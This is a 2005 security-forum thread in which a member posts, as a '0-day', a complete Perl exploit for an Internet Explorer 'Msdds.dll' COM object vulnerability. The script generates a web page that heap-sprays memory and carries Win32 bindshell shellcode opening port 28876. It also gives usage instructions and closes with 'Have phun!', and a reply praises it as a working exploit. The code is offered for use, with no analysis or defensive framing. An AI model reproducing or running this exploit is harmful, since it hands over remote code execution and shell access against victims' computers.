Welcome Guest ( Log In | Register)



 
Reply to this topicStart new topic
> Microsoft Internet Explorer "msdds.dll" Remote Cod, Date : 17/08/2005
machinamedia
post Aug 18 2005, 10:13 AM
Post #1


Advanced Member
*******

Group: Members
Posts: 106
Joined: 24-July 05
Member No.: 9,813



Take a look at this exploit! It's 0-day tongue.gif
CODE
Advisory : FrSIRT/ADV-2005-1450
Rated as : Critical

Note : It is currently unclear whether the "Msdds.dll" library is installed with Microsoft Office,
Microsoft Visual Studio, or with other applications. More information will be provided when
further details are available.

#!/usr/bin/perl
#######################################################
#
# Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit (0day)
#
# Bindshell on port 28876 - Vulnerability discovered and exploited by Anonymous
#
# PoC code ripped from Berend-Jan Wever's Internet-Exploiter
#
# Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)
#
# Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)
#
# Code usage : perl IE-Msddsdll-0day.pl > mypage.html
#
#######################################################
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License version 2, 1991 as published by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# A copy of the GNU General Public License can be found at:
# http://www.gnu.org/licenses/gpl.html
# or you can write to:
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330
# Boston, MA 02111-1307
# USA.
#
#######################################################

# header
my $header = "<html><body>\n<script language=\"javascript\">\n";

# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";

# Memory
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length\n".
"while (bigblock.length<slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".
"memory = new Array();\n".
"for (i=0;i<700;i++) memory[i] = block + shellcode;\n".
"</SCRIPT>\n";

# Msdds.dll
my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';

# footer
my $footer = "<object classid=\"CLSID:".$clsid."\"></object></body></html>\n".
"Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n";

# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
print "$header $shellcode $code $footer";

Have phun!

Notice from cmatcmextra:
Use [-codebox-] when using large amounts of code


This post has been edited by cmatcmextra: Aug 18 2005, 10:30 AM
Go to the top of the page
 
+Quote Post
RemoteConnection
post Aug 20 2005, 04:31 AM
Post #2


Advanced Member
*******

Group: Members
Posts: 119
Joined: 3-August 05
Member No.: 10,207



hey man , that's amazing! working exploit on IE 6 SP2 , Great Job
Go to the top of the page
 
+Quote Post

Reply to this topicStart new topic

Collapse

> Similar Topics

Topics Topics
  1. Microsoft Plans Free Anti-Spyware Program(12)
  2. [exploit] Microsoft Windows 2000 Plug And Play(1)
  3. [exploit] Microsoft Windows Remote Desktop Dos(0)
  4. [exploit] Microsoft Windows 2000 Plug And Play(0)
  5. [exploit] Phpbb 2.0.15 "viewtopic.php"(3)
  6. [exploit] Microsoft Internet Explorer Com Objects(0)
  7. [exploit] Microsoft Server Message Block(0)
  8. Web Browsers(59)
  9. Microsoft Plugs Windows Worm Holes(3)
  10. Shieldsup! Internet Vulnerability Test(17)
  11. Firefox 1.5 Flaws(22)
  12. Microsoft Ships First Vista Security Patches(9)
  13. Broadband Internet Connection Restriction(5)
  14. Internet Vulnerabilities(7)
  15. Help Boost My Modem Internet Connection - 56k(14)
  1. Microsoft Warns Of Virus Entering Pcs Via Powerpoint(3)
  2. Microsoft Windows Dhcp Client Service Remote Code Execution Vulnerability(0)
  3. Internet Scams And Their Victims(3)
  4. Uno's Role In Internet Laws(2)
  5. Microsoft Rumor...(17)
  6. Javascript Botnet Code Leaked To Internet(1)
  7. Security Guidelines For Internet Users(6)
  8. Hole In Microsoft Messenger Program Requires A Immediate Update(0)
  9. Symantec's Top 10 Internet Security Trends Of 2007(3)
  10. Windows Xp Restarts When Using The Internet(0)
  11. Did You Know How Hard Workers Are Doing(3)
  12. Xp Sp3(5)
  13. Windows 7-windows Live Ties(0)


 



- Lo-Fi Version Time is now: 25th July 2008 - 10:52 AM